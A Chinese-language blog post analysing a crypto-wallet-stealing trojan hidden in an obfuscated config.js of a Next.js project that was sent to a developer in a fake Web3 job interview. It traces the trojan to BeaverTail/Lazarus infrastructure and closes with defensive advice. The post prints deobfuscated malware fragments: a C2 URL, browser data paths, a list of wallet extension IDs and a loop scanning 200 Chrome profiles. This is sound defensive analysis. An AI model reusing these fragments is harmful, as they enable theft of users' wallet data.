一次前端源码盗币事件分析

前几日在 Dapp Learning 的交流群里看到群友聊到钱包被盗的经历：

这种未知来源的木马盗币后追回的可能性极低，也许等你发现的时候资金已经转到金三胖的钱包里了。这位群友描述的过程让我有些好奇，为什么运行一个 Next.js 程序会导致本地钱包被盗？我尝试用自己在信息安全上的三脚猫功夫分析一下。

检查行为

与群友沟通后拿到源码仓库，clone 到 Windows 虚拟机，准备好进程行为记录工具（Process Monitor）和网络流量监测（我直接用了旁路由上的 Surge），按 README 里执行 npm install 和 npm run dev 启动服务，流量的历史记录里这几个到 95.164.17.24:1224 的连接比较显眼包：

再观察 node 的进程行为，我的家已经被它抄好几轮了：

可以确定这个项目的木马行为跟网页前端没关系，而是 node 服务启动后就有了。项目在浏览器里看起来还真像那么回事：

分析流程

既然行为上已经定性，那再来细细观察下动作。

每个 Chrome 扩展都有自己的唯一标识符，node 进程扫描的扩展目录都是些知名钱包，比如 nkbihfbeogaeaoehlefnkodbefgpgknn 是 MetaMask，acmacodkjbdgmoleebolmdjonilkdbch 是 Rabby，bfnaelmomeimhlpmgjnjophhpkkoljpa 是 Phantom，意图非常明显。

在 Chrome 里创建新用户会有对应一个该用户的数据目录，这个木马一直扫描到 User Data\Profile 199\ 说明它会把前 200 个 Chrome 用户都扒一遍，还挺周到。以及 Edge、Brave、Firefox、Opera 浏览器也会搜刮一通，放心哈，雨露均沾。

另外还专门去扫了眼 .config\solana\id.json ，这是 solana-keygen 工具生成私钥的默认存放文件。

那 95.164.17.24:1224 这个目标服务很显然会接收扫到的钱包数据，至于还会不会干其他的，我没做细致抓包看不到具体请求内容，先不分析了。把 IP 放到搜索引擎里一搜，原来最近几个月已经有若干个人报告过与这个服务有关的恶意行为：

《New Version of BeaverTail macOS Malware Identified》 这篇文章信息量很足，研究员捕获到一个伪装成视频通话程序 MiroTalk 的木马，并认为它来自朝鲜黑客。因为与咱们这次使用了同一个服务端所以能实锤是同一波人干的，该木马的行为也和这次的代码非常相似，文章里还提到木马执行后会下载另一个工具来做键盘记录。

《DO NOT OPEN RANDOM PIECES OF CODE》 这篇在 Linkedin 上的帖子提到，有人假装 Web3 行业招聘，面试时发代码过来让运行，被察觉出代码很奇怪，没有得逞。我猜测受害群友可能也中了这个套路，一问，果然是。

《Beware of scammers!》 reddit 帖子里提到了与上面 Linkedin 帖子同样的内容，评论区里一位老哥提供了非常完整的分析：

部分 IP 地址的地理位置会变来变去，不同服务商的准确率不一样，通常我会以 ipip.net 的结果为准：

可以看到 95.164.17.24 是一台位于荷兰的服务器，提供商 Stark Industries Solutions。

查到这里时碰到了一个我完全没预料到的信息，《Stark Industries: Fuelling Russia’s Cyber Offensive》 文章认为，Stark Industries 在 2022 年 2 月俄罗斯入侵乌克兰前两周刚刚出现。该托管服务提供商成立于英国，但其根基和基础设施遍布欧洲，很快成为分布式拒绝服务（DDoS）攻击和虚假信息活动的中心。刻意保护服务使用方，服务多个亲俄黑客组织。

好家伙，老毛子黑客专用了。可以合理推测朝鲜国家队与俄罗斯可能存在某种合作。

9 月份也有两篇与这个攻击相关的文章：

《Tracking Beavertail APT threats in the npm ecosystem》发现有人发布了包含攻击代码的 npm 包并取上非常容易被混淆使用的名称比如 etherscan-api，如果开发者不小心加载了这些 npm 包会导致自己本来没有问题的代码化身成木马（行话叫供应链攻击）。Web3 行业的许多项目虽然可以在执行逻辑 + 资金管理上做到完全上链去中心化，但往往给用户使用的 Web 前端页面是中心化的，所以针对前端的供应链攻击是非常严重的威胁来源：前端工程师不小心多敲了一个字母，或者某个工程师的权限被盗，导致前端源码里引入恶意代码，上线后大冤种用户们的资金就没了。（历史回顾：《Ledger Connect Kit 被黑之谜》）

《Lazarus aka Hidden Cobra APT Group – Active IOCs》 安全公司 rewterz 在威胁情报里将最近专门针对 Web3 行业招聘进行钓鱼的行为取名 Dream Job

回归源码

发现工程代码有恶意行为后，我尝试用 nkbihfbeogaeaoehlefnkodbefgpgknn 这样特征明显的关键词去搜索所有源码，想找一下它代码怎么实现的，很显然，职业的黑客老哥不会留那么明显的痕迹给别人，倒不是针对我，而是尽量避免各家安全厂商的自动化工具去识别和防御。关键字不行那就手动来看看，打开 config.js，眼前一黑：

你丫的喜欢做混淆是吧，但哪有正经工程师会在 config.js 里加混淆呢？此地无银三百两了。再往下拉一拉看到一堆奇怪的字符串：

里面有'/Chro' 'Brave'，过于可疑，果然nkbihfbeogaeaoehlefnkodbefgpgknn搜不到，但nkbih能搜到，可以确定就是这里，混淆过程把一些字符串打散了而已。找个 JS 反混淆工具跑一下，看看它到底在干啥，我贴几段关键代码，和之前观察到的动作对应得上：

Copy
const _0x55065c = "http://95.164.17.24:1224";
const _0x1232d9 = ["Local/BraveSoftware/Brave-Browser", "BraveSoftware/Brave-Browser", "BraveSoftware/Brave-Browser"];
const _0x151d96 = ["Local/Google/Chrome", "Google/Chrome", "google-chrome"];
const _0x1c1cc8 = ["Roaming/Opera Software/Opera Stable", "com.operasoftware.Opera", "opera"];
const _0x275436 = ["nkbihfbeogaeaoehlefnkodbefgpgknn", "ejbalbakoplchlghecdalmeeeajnimhm", "fhbohimaelbohpjbbldcngcnapndodjp", "hnfanknocfeofbddgcijnmhnfnkdnaad", "ibnejdfjmmkpcnlpebklmnkoeoihofec", "bfnaelmomeimhlpmgjnjophhpkkoljpa", "aeachknmefphepccionboohckonoeemg", "hifafgmccdpekplomjjkcfgodnhcellj", "jblndlipeogpafnldhgmapagcccfchpi", "acmacodkjbdgmoleebolmdjonilkdbch", "dlcobpjiigpikoobohmabehhmhfoodbb", "aholpfdialjgjfhomihkjbmgjidlcdno"];

循环遍历前 200 个 Chrome 用户：

Copy
for (let _0x4293f0 = 0; _0x4293f0 < 200; _0x4293f0++) {
const _0x50fbe9 = _0x420236 + "/" + (_0x4293f0 === 0 ? "Default" : "Profile " + _0x4293f0) + "/Local Extension Settings";
for (let _0x38faa0 = 0; _0x38faa0 < _0x275436.length; _0x38faa0++) {
let _0x4a10a4 = _0x50fbe9 + "/" + _0x275436[_0x38faa0];

里面还有一段代码是检查 Python 运行环境，下载个什么东西回来执行，我测试时没有触发到，但与前面文章里研究员分析的行为一致。

最后一步

到这里我们已经知道受害者的钱包数据是怎么被偷走的，还剩一个问题没解答：MetaMask 扩展的数据虽然保存在本地可以被偷走，但解开里面的助记词或私钥需要用户自己配置的密码，MetaMask 的工程师不可能傻傻地让你能直接从文件里提取出来。这个流程就回归到古典黑客攻击手段上了，通常有 2 个路径：

还记得上面的文章提到恶意代码会尝试下载另一个恶意工具吗？如果没有被及时发现又成功执行，那么键盘记录器有机会等到受害者输入密码，以及全盘扫描文件查找是否把密码记录到什么文档里。

服务端暴力破解。参考文章《你的小狐狸（Metamask）是如何被黑掉的》 里面附的一张图，针对 MetaMask 密码场景这表格里数字不一定精准，不过意思已到位：暴力破解复杂密码需要的时间远超短的、简单的密码。

说这个图不精准，是因为不知道这张图描述的加密标准是什么。暴力破解密码的难度既取决于攻击者的算力，也要看加密时使用的密钥推导算法。MetaMask 基于用户密码给私钥加密存储时使用了能缓解暴力攻击的 PBKDF2 算法和随机盐，并且 PBKDF2 迭代轮数是业界推荐的安全标准 60 万次（源码关键词 600_000），安全已经做得足够。但 PBKDF2 无法抵御 GPU 或 ASIC 硬件的暴力破解，所以只要发现你的钱包价值够高，攻击方会很愿意砸算力跟你拼一下。

我不清楚 MetaMask 为什么没有选更安全的 Bcrypt 或 Argon2 算法，猜测是需要平衡用户体验与安全性，这些算法太耗内存可能不适用浏览器场景。但有个结论是无论如何都不会错的：如果你的 MetaMask 使用了短长度的纯数字 + 小写字母密码，那么攻击者的破解成本过于低，等同于没有密码。这种情况，靠程序更换任何高级的算法都无法解决。

回到开头，群友在「大约一个小时后」发现钱包里的资金被转移走，很像是使用了简单密码导致破解起来飞快。询问后得到肯定答复。无法证实在攻击者那边是这样，只能认为大概率是。

安全警示

是一次中规中矩的恶意软件盗币事件，没什么新鲜的，跟以前假装谈合作发个游戏 exe 过来类似。这个陷阱专门针对行业里的开发者，上次慢雾也分析过另一种更高级的针对开发者的钓鱼《黑暗森林之狡诈的网络钓鱼》。

安全防御措施，仍然是老生常谈的几个点：

既然选择在 Web3 这个黑暗森林里溜达，就注定面对无处不在的风险，不要直接运行陌生人给你的开源代码，更不用说编译后的可执行程序了。如果有需求，用虚拟机或者专门不放资金的机器运行。面试时更不用在乎虚拟机，想想假如你是面试官，看到候选人这么谨慎的操作你心里的想法是什么，当然会觉得这位候选人安全意识很好很有水平是加分项啊，怎么可能急不可耐地劝你把程序从虚拟机里拿出来执行呢？出现这种情况的面试或邀约，100% 骗子。

摆正心态。别觉得自己会写代码有什么牛逼的，会写代码不等于懂安全，没有搞过攻防的人都属于小白，存在无数的细节可以骗到你。所以我也一直认为区块链行业的技术团队如果全员没有安全经验又不做任何措施（招聘专业的安全工程师或者购买外部公司的服务），就是在纯裸奔赌运气。

请务必对你的各种钱包使用复杂的、12 位以上的密码。随机密码是最好的，知道你记不住，很推荐使用 1Password 这样的密码管理工具。如果非要自己记也有方案，比如你有个常用密码，对 MetaMask，使用你的常用密码 + .metamask 后缀，Rabby 钱包就是常用密码 + .rabby。别漏了这个小数点，可以用两个点，也可以换成任意你喜欢的特殊符号。

写代码新引入第三方库不是看着名字像就行了，要去这个库的主页和 GitHub 再确认一遍正不正经，发布时间够不够久。

MetaMask 这种热钱包里不要放太多资金，量化标准：被盗后会让你寝食难安就算多。大资金用硬件钱包，硬件钱包不能规避链上权限泄露但可以规避私钥泄露，而私钥泄露占据了个人资金安全事故的绝大部分。